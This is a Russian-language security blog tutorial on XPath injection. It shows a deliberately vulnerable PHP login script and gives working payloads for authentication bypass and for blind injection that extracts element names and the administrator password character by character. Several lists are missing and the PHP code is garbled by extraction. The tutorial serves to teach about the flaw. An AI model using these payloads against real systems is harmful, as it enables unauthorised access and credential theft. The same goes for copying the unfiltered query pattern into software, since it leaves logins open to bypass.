Введение в XPath-инъекции | Raz0r — Web3 Security (original) (raw)

XPath (XML Path Language) – это язык, который предназначен для произвольного обращения к частям XML документа. XML (eXtensible Markup Language) – это всем известный язык разметки, с помощью которого создаются XML документы, имеющие древовидную структуру. Пример простейшего XML документа:

XPath необходим для получения конкретной информации из XML документов; это достигается путем использования специальных операторов и выражений. Обращение к элементам XML документа с помощью XPath напоминает взаимодействие с файловой системой:
/foo/bar
Этот элементарный XPath-запрос возвратит элемент bar из XML документа выше:

****

C другой стороны, XPath похож и на SQL, так как позволяет накладывать условия выборки. Для этого в XPath существуют логические операторы, числовые, строковые и другие функции. Образно говоря, XML документ – это база данных, а XPath – это средство, с помощью которого возможно получить из нее данные. Если провести параллель со SQL, то станет очевидным, что XPath-инъекции во многом похожи на SQL-инъекции. Для обоих типов уязвимостей главным фактором, который позволяет проводить подобного рода инъекции, является недостаточная фильтрация входных данных.
Рассмотрим классический пример: имеется XML документ, в котором хранятся данные пользователей сайта, а также уязвимый скрипт, не проверяющий поступающие от пользователя данные при авторизации:

0 admin blah Vasya 1 user 123 LOL 2 foo bar FOOBAR login=login = login=_POST['login']; pass=pass = pass=_POST['pass']; $xml = simplexml_load_file('users.xml'); // Формируем XPath-запрос query="//users/user[login/text()=′query = "//users/user[login/text()='query="//users/user[login/text()=login' and password/text()='$pass']"; // Выполняем его result=result = result=xml->xpath($query); if(!$result) { die("User credentials are not correct"); } userdata=user_data = userdata=result[0]; id=id = id=user_data->id; firstname=firstname = firstname=user_data->firstname; /**/ ?>

Переменные login и password никак не проверяются, что позволяет внедрить собственный XPath-запрос в оригинальный. Если в SQL, это было бы нечто вроде abc’ OR 1=1/*, то в XPath всилу того, что в этом языке не предусмотрены символы, обозначающие комментарий, можно успешно обойти авторизацию таким образом:
‘ or 1=1 or ”=’
или еще более простым способом:
‘ or ‘1’=’1
В итоге выполнится следующий запрос и мы успешно пройдем авторизацию:
//users/user[login/text()=admin and password/text()=’‘ or ‘1’=’1′]
Если обход авторизации не был конечной целью атакующего, например ему необходимо было получить исходный пароль администратора, то в этом случае достичь успеха поможет Blind XPath Injection. Дело в том, что в XPath не существует возможности провести UNION как при SQL-инъекциях, поэтому получить строковое или численное значение из XML-документа можно только с помощью техники слепых инъекций. Если Вы знакомы с аналогичной техникой в SQL, то без труда поймете, как данный способ реализовывается в XPath. Напомню лишь, что в основе лежит разделение ответов сервера, одно из которых принимается за истинное, а другое – за ложное, что позволяет судить о правильности и неправильности выполненных запросов.
Следующие функции необходимы или могут участвовать при осуществлении Blind XPath Injection:

Этих функций будет вполне достаточно для осуществления полноценной XPath-инъекции. Итак, первое, что необходимо сделать – это узнать количество тэгов, присутствующих в записи каждого пользователя:
‘] | //*[1][count(*)=’1‘] | /foo[bar=’
‘] | //*[1][count(*)=’2‘] | /foo[bar=’
‘] | //*[1][count(*)=’3‘] | /foo[bar=’

Разберем данный запрос.
‘] | //*[1][count(*)=’1′] | /foo[bar=’
этим мы закрываем ранее открытые квадратные скобки, выражения внутри которых позволяют задавать более четкие критерии для элемента, т.е. накладывать условия

‘] | //*[1][count(*)=’1’] | /foo[bar=’
снова открываем, чтобы не возникала ошибка

‘] | //*[1][count(*)=’1′] | /foo[bar=’
выражение между двумя | (логическое или) является основой нашего запроса

‘] | //*[1][count(*)=’1′] | /foo[bar=’
выделяем первый узел из всего XML документа

‘] | //*[1][count**(*)**=’1′] | /foo[bar=’
выделяем все элементы внутри этого узла

‘] | //*[1][count(*)=’1′] | /foo[bar=’
наше условие

Перебор проводим до тех пор, пока сервер не возвратит нужный ответ. Допустим мы установили, что у каждого пользователя 4 тэга, в которых хранятся их данные. Теперь необходимо получить название каждого тэга (грубо говоря, названия полей, как при SQL-инъекциях). Здесь нам поможет функция name():
‘] | //*[name(*[3])=’password’] | /foo[bar=’
Если сервер возвратит истину, то третий элемент любого узла имеет имя password
‘] | //*[name(*[*****])=’password’] | /foo[bar=’
В этом случае, если сервер возвратит истину, то один из элементов любого узла имеет имя password
Получить полные имена тэгов можно с помощью посимвольного перебора:
‘] | //*[1][substring(name(*[1]),1,1)=’a’] | /foo[bar=’
‘] | //*[1][substring(name(*[1]),1,1)=’b’] | /foo[bar=’
‘] | //*[1][substring(name(*[1]),1,1)=’c’] | /foo[bar=’
Стоит отметить, что в XPath не предусмотрена функция, которая переводила бы символы в ASCII-коды, наподобие ORD() или ASCII() в SQL.
Узнав название элемента, получаем его значение:
‘] | //*[1][substring(password,1,1)=’a’] | /foo[bar=’
‘] | //*[1][substring(password,1,1)=’b’] | /foo[bar=’
‘] | //*[1][substring(password,1,1)=’c’] | /foo[bar=’
Как при переборе названий элементов, так и их значений можно предварительно узнать количество символов:
‘] | //*[1][string-length(name(*[1]))=7] | /foo[bar=’
‘] | //*[1][string-length(password)=7] | /foo[bar=’
Таким образом, перебирая названия и значения элементов, мы можем полностью реконструировать исходный XML-документ.

Несмотря на общую схожесть SQL и XPath инъекций, они имеют ряд важных особенностей, во многом отличающие их друг от друга:

Спасибо моему другу Kuzya за его великолепную книгу “Методы атак web-приложений“, в которой он доступно осветил данный тип уязвимостей

Рекомендую почитать: